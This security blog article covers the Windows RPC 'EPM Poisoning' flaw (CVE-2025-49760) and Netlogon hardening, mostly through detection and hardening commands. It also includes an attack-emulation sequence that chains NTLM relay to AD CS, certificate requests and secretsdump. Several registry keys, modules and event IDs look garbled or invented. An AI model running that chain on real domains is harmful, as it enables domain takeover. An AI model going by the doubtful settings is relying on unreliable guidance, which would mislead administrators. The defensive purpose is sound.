Listen to this Post
Introduction:
Remote Procedure Call (RPC) is the backbone of inter-process communication in Windows environments, widely used for everything from file sharing to authentication. A newly disclosed vulnerability tracked as CVE-2025-49760, dubbed “EPM Poisoning,” allows unprivileged attackers to hijack RPC interfaces by racing legitimate services during system boot, potentially leading to full Active Directory domain compromise. The attack chain begins with credential theft via NTLM relay and escalates through AD CS (ESC8) to obtain Kerberos TGTs, granting domain controller access. This article dissects the technical mechanics of EPM Poisoning, provides step-by-step detection and mitigation strategies, and includes verified Linux/Windows commands for hardening, vulnerability scanning, and attack emulation.
Learning Objectives:
- Understand how Windows RPC Endpoint Mapper (EPM) race conditions enable unprivileged interface hijacking and credential theft.
- Master detection techniques using PowerShell, Sysmon, and RpcView to identify malicious RPC endpoint registrations.
- Implement mitigation strategies including patch deployment, NTLM relay protections, RPC security policies, and Group Policy hardening.
You Should Know:
- EPM Poisoning Attack Deep Dive: From Race Condition to Domain Takeover
The Windows RPC Endpoint Mapper (EPM) acts as a DNS-like resolution service, translating service UUIDs into active endpoints. CVE-2025-49760 exposes a critical design flaw: the EPM accepts the first registration for any given UUID without verifying the legitimacy of the registering process. Attackers can exploit this by setting up automated tasks that preemptively register malicious endpoints before legitimate delayed-start services (e.g., Storage Service, Delivery Optimization) complete their initialization. This race condition—dubbed “EPM poisoning”—redirects privileged RPC clients to attacker-controlled endpoints.
When a high-integrity service like Delivery Optimization connects to the poisoned endpoint, the attacker’s fake service returns a crafted SMB share path. The privileged service then authenticates to that share, exposing its machine account NTLM hash. From there, the attacker relays this NTLM authentication to AD CS web enrollment (ESC8 attack chain), requests a certificate for the machine account, and obtains a Kerberos TGT. With a valid TGT, tools like Impacket’s `secretsdump` can extract all domain controller hashes, granting complete domain control.
SafeBreach Labs developed RPC-Racer—a toolset that automates this attack. The researcher demonstrated that even Protected Process Light (PPL) processes can be coerced into authenticating to arbitrary servers without requiring administrative privileges.
Step-by-step guide: Detecting and Emulating EPM Poisoning
Detection: Identify Suspicious RPC Endpoint Registrations
Enumerate all currently mapped RPC endpoints on the system
Get-WmiObject -Class Win32_PerfRawData_PerfNet_Server | Select-Object Name, Connections
Using RpcView (third-party tool) to inspect registered interfaces
Download from https://github.com/cyberark/RpcView
Monitor RPC registration events via PowerShell (requires RpcTools module)
Install module: Install-Module -Name RpcTools -Force
Get-RpcEndpointMapping -ComputerName localhost
Audit Event Logs for suspicious RPC activity
Get-WinEvent -LogName "Microsoft-Windows-RPC/Operational" | Where-Object { $<em>.Id -eq 3001 -or $</em>.Id -eq 3002 } | Format-List
Sysmon configuration to monitor RpcEpRegister calls (Event ID 11)
Add to Sysmon config:
<RuleGroup name="" groupRelation="or">
<ImageLoad onmatch="include">
<TargetImage condition="contains">rpcrt4.dll</TargetImage>
</ImageLoad>
</RuleGroup>
Linux-based Scanning for Vulnerable RPC Endpoints
Use rpcdump from Impacket to enumerate RPC endpoints from a Linux machine
impacket-rpcdump -port 135 target-domain-controller.local
Nmap RPC endpoint enumeration
nmap -sS -sV -p 135,445,49152-65535 --script rpc-grind,target-domain-controller.local
Metasploit auxiliary module for RPC endpoint discovery
msf6 > use auxiliary/scanner/dcerpc/endpoint_mapper
msf6 > set RHOSTS 192.168.1.0/24
msf6 > run
Python script to test race condition window (educational/lab only)
python3 -c "
import socket, struct, time
target = ('domain-controller.local', 135)
Bind to target RPC endpoint and attempt early registration
Note: Requires deep RPC protocol knowledge; refer to SafeBreach PoC for full exploit
"
Attack Emulation (Authorized Testing Only):
Using SafeBreach RPC-Racer (requires compiled binary from SafeBreach Labs) rpc-racer.exe --target dc01.corp.local --interface storage-service --attack smb-relay Impacket NTLM relay to AD CS impacket-ntlmrelayx.py -t http://adcs-server.local/certsrv/certfnsh.asp -smb2support Request certificate using obtained machine account hash certipy req -u 'DC01$' -hashes :ntlm_hash -ca corp-CA -template Machine -target adcs-server.local Extract domain secrets with obtained TGT impacket-secretsdump -k -no-pass CORP.LOCAL/[email protected]
- Netlogon RPC Hardening (CVE-2025-49716): Blocking Anonymous RPC Requests
Microsoft KB5066014 introduces a critical hardening change to the Microsoft RPC Netlogon protocol, addressing CVE-2025-49716—a denial-of-service vulnerability where unauthenticated remote users could exhaust memory on domain controllers. The update blocks anonymous clients from calling certain RPC requests via the Netlogon RPC server, specifically those related to domain controller location. This change affects legacy file and print services, including Samba, which has released compatibility updates (Samba 4.22.3). For environments unable to update third-party software immediately, Microsoft provides a registry-based toggle offering Audit mode (logs but does not block) and Disabled mode (not recommended).
Step-by-step guide: Enforcing Netlogon RPC Hardening
Verify Patch Installation
Check if KB5066014 is installed on domain controllers
Get-HotFix -Id KB5066014
Alternative: Check Windows Update history using WMI
Get-WmiObject -Class Win32_QuickFixEngineering | Where-Object { $_.HotFixID -eq "KB5066014" }
For Windows Server 2012 R2 and earlier
wmic qfe list | findstr "KB5066014"
Registry Configuration for Enforcement Levels
Default Enforcement Mode (recommended) - Blocks unauthenticated Netlogon RPC calls New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" ` -Name "RestrictNullSessionAccess" ` -Value 1 ` -PropertyType DWord ` -Force Audit Mode - Logs but does not block (for testing compatibility) New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" ` -Name "RestrictNullSessionAccess" ` -Value 2 ` -PropertyType DWord ` -Force Disabled Mode - NOT RECOMMENDED New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" ` -Name "RestrictNullSessionAccess" ` -Value 0 ` -PropertyType DWord ` -Force
Monitor Audit Logs for Compatibility Issues
Enable Netlogon diagnostic logging
Nltest /DBFlag:0x2000FFFF
Check Netlogon log for anonymous access attempts
Get-Content -Path "$env:windir\debug\netlogon.log" -Tail 100
Event Viewer: Look for Event ID 5829 (Audit mode logged)
Get-WinEvent -LogName "System" | Where-Object { $<em>.Id -eq 5829 -or $</em>.Id -eq 5830 } | Format-List
Linux-side Samba Update for Compatibility
On Samba-based domain controllers or members sudo apt update && sudo apt install samba=4.22.3 Verify Samba version samba --version Check Netlogon RPC hardening compliance testparm -v | grep -i "server schannel" Restart Samba services after update sudo systemctl restart samba-ad-dc
- Mitigating NTLM Relay Attacks: SMB Signing and LDAP Channel Binding
NTLM relay attacks are central to the EPM poisoning exploitation chain. After capturing machine account NTLM hashes, attackers relay authentication to AD CS web enrollment endpoints to request certificates. Enforcing SMB signing and LDAP channel binding prevents this relay by requiring cryptographic integrity verification on all authentication traffic. Microsoft has provided Group Policy settings to enforce these protections across domain-joined systems.
Step-by-step guide: Enforcing NTLM Relay Protections
Enable SMB Signing via Group Policy
Set SMB signing required via PowerShell Set-SmbServerConfiguration -RequireSecuritySignature $true -Force Verify SMB signing configuration Get-SmbServerConfiguration | Select-Object EnableSMB2Protocol, RequireSecuritySignature, EncryptData Enable SMB signing for client connections Set-SmbClientConfiguration -RequireSecuritySignature $true -Force Apply via Group Policy (Manual) Navigate to: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options Set "Microsoft network server: Digitally sign communications (always)" to Enabled Set "Microsoft network client: Digitally sign communications (always)" to Enabled
Enforce LDAP Channel Binding and Signing
Enforce LDAP server signing New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" ` -Name "LDAPServerIntegrity" ` -Value 2 ` -PropertyType DWord ` -Force Enable LDAP channel binding New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" ` -Name "LdapEnforceChannelBinding" ` -Value 2 ` -PropertyType DWord ` -Force Restart NTDS service (domain controller restart required) WARNING: Schedule maintenance window
Monitor NTLM Relay Attempts
Enable NTLM auditing
Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
Set "Network security: Restrict NTLM: Audit Incoming NTLM Traffic" to Enable Auditing
Review NTLM audit events (Event ID 8004)
Get-WinEvent -LogName "Microsoft-Windows-NTLM/Operational" | Where-Object { $_.Id -eq 8004 } | Format-List
Use PowerShell to detect NTLM relay patterns
$events = Get-WinEvent -LogName "Security" | Where-Object { $<em>.Id -in 4624,4625,4648 }
$events | Group-Object -Property @{Expression={$</em>.Properties[bash].Value}} | Sort-Object Count -Descending
4. RPC Interface Restriction: Blocking Unauthenticated Remote Clients
Windows provides built-in mechanisms to restrict unauthenticated RPC clients through Group Policy and registry configurations. The `RestrictRemoteClients` registry key modifies the behavior of all RPC interfaces on the system, eliminating remote anonymous access with limited exceptions. This hardening measure directly counters the EPM poisoning attack vector by preventing unprivileged users from registering or interacting with RPC interfaces remotely.
Step-by-step guide: Configuring RPC Interface Restriction
Enable Restrict Unauthenticated RPC Clients via Group Policy
Group Policy Path: Computer Configuration > Administrative Templates > System > Remote Procedure Call Setting: "Restrict Unauthenticated RPC Clients" Options: Authenticated (Recommended), Unauthenticated, None PowerShell method to set the registry key New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Rpc" ` -Name "RestrictRemoteClients" ` -Value 1 ` -PropertyType DWord ` -Force Verify the configuration Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Rpc" | Select-Object RestrictRemoteClients Additional hardening: Enable RPC Endpoint Mapper Client Authentication New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Rpc" ` -Name "EnableAuthEpResolution" ` -Value 1 ` -PropertyType DWord ` -Force
Apply RPC Firewall for Granular Control
Deploy RPC Firewall (third-party solution from IT-Connect) Block specific RPC interfaces by UUID Example: Block the vulnerable Storage Service interface UUID for Storage Service: Various; use RpcView to enumerate Using Windows Filtering Platform (WFP) to block RPC ports New-NetFirewallRule -DisplayName "Block RPC Port 135" ` -Direction Inbound ` -LocalPort 135 ` -Protocol TCP ` -Action Block Block dynamic RPC port range (49152-65535) for additional security New-NetFirewallRule -DisplayName "Block Dynamic RPC Ports" ` -Direction Inbound ` -LocalPort 49152-65535 ` -Protocol TCP ` -Action Block
- Active Directory Certificate Services (AD CS) Hardening Against ESC8
The ESC8 attack vector—NTLM relay to AD CS web enrollment endpoints—is a critical component of the EPM poisoning chain. AD CS certificate templates often permit machine account enrollment via HTTP-based interfaces that lack sufficient authentication protections. Hardening AD CS involves disabling NTLM authentication on CA web interfaces, requiring HTTPS with client certificate authentication, and auditing certificate issuance events.
Step-by-step guide: Hardening AD CS Against NTLM Relay
Disable NTLM on AD CS Web Enrollment Interfaces
On the AD CS server, open IIS Manager
Navigate to the CertSrv virtual directory
Disable NTLM authentication and require Kerberos or client certificates
PowerShell to modify web.config for CertSrv
$webConfigPath = "$env:systemdrive\inetpub\wwwroot\CertSrv\web.config"
$xml = [xml](Get-Content $webConfigPath)
$windowsAuth = $xml.configuration.'system.web'.authentication
$windowsAuth.mode = "Windows"
$windowsAuth.forms = $null
$xml.Save($webConfigPath)
Require HTTPS for all AD CS requests
Group Policy: Computer Configuration > Windows Settings > Security Settings > Public Key Policies > Certificate Services Client - Auto-Enrollment
Audit certificate issuance for NTLM-authenticated requests
Get-WinEvent -LogName "Security" | Where-Object { $<em>.Id -eq 4886 -or $</em>.Id -eq 4887 } | Format-List
Detect and Block ESC8 Attack Patterns
Monitor for suspicious certificate requests from non-domain-joined systems
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4886} | ForEach-Object {
$<em>.Properties | Where-Object {$</em>.Value -match "NTLM" -or $_.Value -match "Workstation"}
}
Deploy PKI View to audit certificate templates
Certutil -TEMPLATE | Select-String "Machine"
Restrict which machine accounts can enroll for certificates
ADSI Edit: CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local
Modify security descriptor on vulnerable templates (e.g., Machine, DomainController)
- Delayed-Start Service Hardening: Eliminating the Race Condition Window
EPM poisoning succeeds because Windows services with “Delayed Start” configuration create a race window during system boot where legitimate RPC interfaces are not yet registered. Attackers exploit this window by pre-registering malicious endpoints. Hardening delayed-start services involves auditing all services with this configuration, converting critical services to automatic start where possible, and implementing integrity verification for RPC server identities.
Step-by-step guide: Auditing and Hardening Delayed-Start Services
Identify Delayed-Start Services Vulnerable to Hijacking
List all delayed-start services on a Windows system
Get-Service | Where-Object { $_.StartType -eq "AutomaticDelayedStart" } | Select-Object Name, DisplayName, Status
Check which services expose RPC interfaces
sc.exe query type= service | findstr /i "rpc"
Using WMI to get detailed service configuration
Get-WmiObject -Class Win32_Service | Where-Object { $<em>.StartMode -eq "Auto" -and $</em>.DelayedAutoStart -eq $true } | Format-Table Name, StartName, PathName
PowerShell to convert critical services from delayed to automatic
Set-Service -Name "StorageService" -StartupType Automatic
Set-Service -Name "DoSvc" -StartupType Automatic Delivery Optimization Service
Implement Server Identity Verification (Analogous to SSL Pinning)
Configure RPC to require authentication for server identity Registry key to enforce RPC server identity checks New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Rpc" ` -Name "ServerIdentityCheck" ` -Value 1 ` -PropertyType DWord ` -Force Enforce RPC packet privacy (encryption + integrity) New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Rpc" ` -Name "MinimumPacketPrivacyLevel" ` -Value 2 ` -PropertyType DWord ` -Force
7. Incident Detection: Hunting for EPM Poisoning Artifacts
Detection requires proactive hunting across multiple telemetry sources: Event logs, Sysmon, network captures, and endpoint detection systems. Key indicators include anomalous RPC endpoint registrations, unusual process-to-interface mappings, and NTLM authentication to unexpected SMB shares.
Step-by-step guide: Threat Hunting Commands and Queries
PowerShell Hunting Queries
Detect process registration of suspicious RPC interfaces
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-RPC/Operational'; ID=3001} | `
Where-Object { $<em>.Message -match "register" -and $</em>.Message -match "UUID" }
Identify processes listening on RPC dynamic ports
netstat -ano | findstr /i "49152 65535"
Correlate with known service UUIDs
Storage Service UUID: Various; use RpcView to enumerate
Detect LSASS crashes (Netlogon DoS attempt)
Get-WinEvent -LogName "System" | Where-Object { $<em>.Id -eq 1000 -and $</em>.Message -match "lsass.exe" }
NTLM authentication to unexpected SMB shares (relay indicator)
Get-WinEvent -LogName "Microsoft-Windows-SMBClient/Security" | Where-Object { $_.Id -eq 31003 }
Sysmon Configuration for RPC Monitoring
<!-- Add to Sysmon configuration file --> <Sysmon> <EventFiltering> <ProcessAccess onmatch="include"> <TargetImage condition="end with">lsass.exe</TargetImage> </ProcessAccess> <NetworkConnect onmatch="include"> <DestinationPort condition="is">135</DestinationPort> </NetworkConnect> </EventFiltering> </Sysmon>
Linux-based Remote Detection Script
!/bin/bash
Script to remotely check for vulnerable RPC endpoints across domain controllers
for dc in $(nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local | grep "port" | awk '{print $7}'); do
echo "Checking $dc..."
impacket-rpcdump -port 135 $dc | grep -E "Storage|Delivery|UUID"
nmap -p 135 --script rpc-grind $dc
done
Check for missing KB5066014 across domain controllers using PowerShell Remoting from Linux
pwsh -c "Invoke-Command -ComputerName DC01,DC02 -ScriptBlock { Get-HotFix -Id KB5066014 }"
What Undercode Say:
- RPC design flaws at the EPM level represent a fundamental trust issue: The absence of server identity verification in RPC allows unprivileged race conditions to hijack privileged services. This design assumption must be re-evaluated across all Microsoft protocols.
- NTLM relay to AD CS (ESC8) remains the most dangerous post-exploitation path. Even with strong perimeter controls, internal NTLM relay attacks can compromise entire forests. Enforcing SMB signing and LDAP channel binding is no longer optional—it is critical.
- Delayed-start services create consistent exploitation windows. Organizations must audit all services with this configuration and convert critical authentication-related services to automatic start.
- Linux administrators must update Samba to maintain AD DC compatibility. The Netlogon RPC hardening change breaks older Samba versions; version 4.22.3 or higher is mandatory for cross-platform environments.
- Defense-in-depth requires multiple RPC hardening layers. No single control blocks EPM poisoning. Combine patch deployment (CVE-2025-49760, KB5066014), registry hardening, firewall rules, and continuous monitoring of RPC registration events.
Prediction:
The discovery of EPM poisoning will likely spark a wave of similar race-condition vulnerabilities across other RPC implementations in Linux, macOS, and cloud environments. Security researchers will increasingly target inter-process communication mechanisms that lack server identity verification. Microsoft’s patch for CVE-2025-49760 addresses the specific Storage Service attack vector, but the underlying design flaw—EPM accepting first-registration without validation—may affect hundreds of RPC interfaces across Windows. Organizations should expect additional CVEs in this category as researchers apply SafeBreach’s methodology to other delayed-start services. The Netlogon hardening trend will continue, with Microsoft likely enforcing Enforcement Level 2 (full blocking) as default in future Windows Server releases, breaking legacy compatibility but significantly raising the bar for unauthenticated RPC abuse. IT security teams must prioritize RPC telemetry collection and develop detection rules for interface registration anomalies within their SIEM platforms.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Cybersecuritynews Share – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
